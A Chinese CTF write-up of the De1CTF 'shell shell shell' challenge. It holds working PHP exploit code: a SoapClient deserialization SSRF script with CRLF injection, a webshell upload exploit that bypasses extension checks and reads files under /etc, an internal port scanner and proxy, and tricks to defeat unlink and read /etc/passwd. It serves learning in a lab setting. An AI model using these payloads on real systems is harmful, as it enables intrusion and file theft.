刷题记录:[De1ctf] shell shell shell
刷题记录:[De1ctf] shell shell shell
题目复现链接:https://buuoj.cn/challenges
参考链接:De1ctf - shell shell shell记录
浅析De1CTF 2019的两道web SSRF ME && ShellShellShell
骇极杯 2018 web3
知识量巨多的一道题,收获很多。这道题之后打算先停一停,看几本网络安全的书沉淀一下,不定时更新。
一、知识点
1、源码泄露
访问index.php~
获得源码,从index.php中可以知道其他源码的位置
2、正则表达式不完善导致sql注入
正则表达如下
$value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')';
问题在于${1}
占位只匹配第一个,像`1`or 1`#
,后面的or 1`#
就能逃逸出去,如果不清楚的话自己试验一下就知道了,然后就可以在publish界面sleep盲注出admin的密码
3、soapclient反序列化->ssrf
之前涉及过,贴个脚本
<?php
$target = 'http://e68c522a-3cdf-4910-95e7-b65a857007bc.node1.buuoj.cn/index.php?action=login';
$post_string = 'username=admin&password=jaivypassword&code=2e6e9';
$headers = array(
'Cookie: PHPSESSID=96c6j4ia0f33vfnnis28pa0kv6' #(未登录的cookie,便于以admin身份进行登陆)
);
$b = new SoapClient(null,array('location' => $target,
'user_agent'=>'wupco^^Content-Type:application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length:'.(string)strlen($post_string).'^^^^'.$post_string,
'uri'=> "aaab"));
//因为user-agent是可以控制的,因此可以利用crlf注入http头来发送post请求
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo bin2hex($aaa);
?>
但是不知道为什么,我手动操作一直没法登陆,最后拿大佬的一键getshell脚本才登陆上去,代码见前面的参考链接
4、扫描内网
首先要知道自己所在的网段,可以查看/proc/net/fib_trie
,/proc/net/arp
,/proc/net/route
之前没见过这种情况,其实找个脚本就行了
<?php
set_time_limit(0);//设置程序执行时间
ob_implicit_flush(True);
ob_end_flush();
$url = isset($_REQUEST['url'])?$_REQUEST['url']:null;
/*端口扫描代码*/
function check_port($ip,$port,$timeout=0.1) {
$conn = @fsockopen($ip, $port, $errno, $errstr, $timeout);
if ($conn) {
fclose($conn);
return true;
}
}
function scanip($ip,$timeout,$portarr){
foreach($portarr as $port){
if(check_port($ip,$port,$timeout=0.1)==True){
echo 'Port: '.$port.' is open<br/>';
@ob_flush();
@flush();
}
}
}
echo '<html>
<form action="" method="post">
<input type="text" name="startip" value="Start IP" />
<input type="text" name="endip" value="End IP" />
<input type="text" name="port" value="80,8080,8888,1433,3306" />
Timeout<input type="text" name="timeout" value="10" /><br/>
<button type="submit" name="submit">Scan</button>
</form>
</html>
';
if(isset($_POST['startip'])&&isset($_POST['endip'])&&isset($_POST['port'])&&isset($_POST['timeout'])){
$startip=$_POST['startip'];
$endip=$_POST['endip'];
$timeout=$_POST['timeout'];
$port=$_POST['port'];
$portarr=explode(',',$port);
$siparr=explode('.',$startip);
$eiparr=explode('.',$endip);
$ciparr=$siparr;
if(count($ciparr)!=4||$siparr[0]!=$eiparr[0]||$siparr[1]!=$eiparr[1]){
exit('IP error: Wrong IP address or Trying to scan class A address');
}
if($startip==$endip){
echo 'Scanning IP '.$startip.'<br/>';
@ob_flush();
@flush();
scanip($startip,$timeout,$portarr);
@ob_flush();
@flush();
exit();
}
if($eiparr[3]!=255){
$eiparr[3]+=1;
}
while($ciparr!=$eiparr){
$ip=$ciparr[0].'.'.$ciparr[1].'.'.$ciparr[2].'.'.$ciparr[3];
echo '<br/>Scanning IP '.$ip.'<br/>';
@ob_flush();
@flush();
scanip($ip,$timeout,$portarr);
$ciparr[3]+=1;
if($ciparr[3]>255){
$ciparr[2]+=1;
$ciparr[3]=0;
}
if($ciparr[2]>255){
$ciparr[1]+=1;
$ciparr[2]=0;
}
}
}
/*内网代理代码*/
function getHtmlContext($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, TRUE); //表示需要response header
curl_setopt($ch, CURLOPT_NOBODY, FALSE); //表示需要response body
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_TIMEOUT, 120);
$result = curl_exec($ch);
global $header;
if($result){
$headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$header = explode("\r\n",substr($result, 0, $headerSize));
$body = substr($result, $headerSize);
}
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '200') {
return $body;
}
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '302') {
$location = getHeader("Location");
if(strpos(getHeader("Location"),'http://') == false){
$location = getHost($url).$location;
}
return getHtmlContext($location);
}
return NULL;
}
function getHost($url){
preg_match("/^(http:\/\/)?([^\/]+)/i",$url, $matches);
return $matches[0];
}
function getCss($host,$html){
preg_match_all("/<link[\s\S]*?href=['\"](.*?[.]css.*?)[\"'][\s\S]*?>/i",$html, $matches);
foreach($matches[1] as $v){
$cssurl = $v;
if(strpos($v,'http://') == false){
$cssurl = $host."/".$v;
}
$csshtml = "<style>".file_get_contents($cssurl)."</style>";
$html .= $csshtml;
}
return $html;
}
if($url != null){
$host = getHost($url);
echo getCss($host,getHtmlContext($url));
}
?>
5、$file[count($file) - 1]
和$ext = end($file)
获取后缀名方式不同
网鼎杯第二场 wafupload详解
首先没判断数组,所以很容易想到用数组绕过,拿exp来讲
男神glzjin师傅的php exp
<?php
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => "http://172.16.54.2",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => "POST",
CURLOPT_POSTFIELDS => "------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file\"; filename=\"tr1ple.php\"\r\nContent-Type: false\r\n\r\n@<?php echo `find /etc -name *flag* -exec cat {} +`;\r\n\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"hello\"\r\n\r\ntr1ple11.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[2]\"\r\n\r\n222\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[1]\"\r\n\r\n111\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[0]\"\r\n\r\n/../tr1ple11.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nSubmit\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--",
CURLOPT_HTTPHEADER => array(
"Postman-Token: a23f25ff-a221-47ef-9cfc-3ef4bd560c22",
"cache-control: no-cache",
"content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW"
),
));
$response = curl_exec($curl);
$err = curl_error($curl);
curl_close($curl);
if ($err) {
echo "cURL Error #:" . $err;
} else {
echo $response;
}
最后得到的表单是
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="tr1ple.php"
Content-Type: false
@<?php echo `find /etc -name *flag* -exec cat {} +`;
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="hello"
tr1ple11.php
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file[2]"
222
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file[1]"
111
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file[0]"
/../tr1ple11.php
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="submit"
Submit
------WebKitFormBoundary7MA4YWxkTrZu0gW--
网页得到的$_POST['file']
是
array(3) {
[2]=>
string(3) "222"
[1]=>
string(3) "111"
[0]=>
string(16) "/../tr1ple11.php"
}
$file[count($file) - 1]
获取的后缀是222
,$ext = end($file)
获取的后缀是/../tr1ple11.php
,成功绕过
6、绕过unlink
有三种方法,前两种都是利用php获取文件和删除文件中获取路径的方式不同
简单说就是 PHP 在读写文件的时候需要打开文件流,会把路径标准化为绝对路径。
但是在删除或者重命名的时候,不会打开文件流,文件名除了前缀以外的位置如果还含有路径,就会删除失败。
- (1)利用
../
跳出去
例如上例中/../tr1ple11.php
为后缀,前面接上随机文件名后tr1ple11.php
依然在当前文件夹中,同时unlink()
无法删除 - (2)
/.
使unlink失效
新的文件名为
xxx.php/.
,在move_uploaded_file()
处理的时候,会转化为绝对路径,成功将xxx.php
保存。
但是unlink()
删除失败,xxx.php
就被保存了下来。
- (3)利用
php://filter/string.strip_tags/resource=/etc/passwd
导致php segemnt fault
LFI via SegmentFault
本题中没有尝试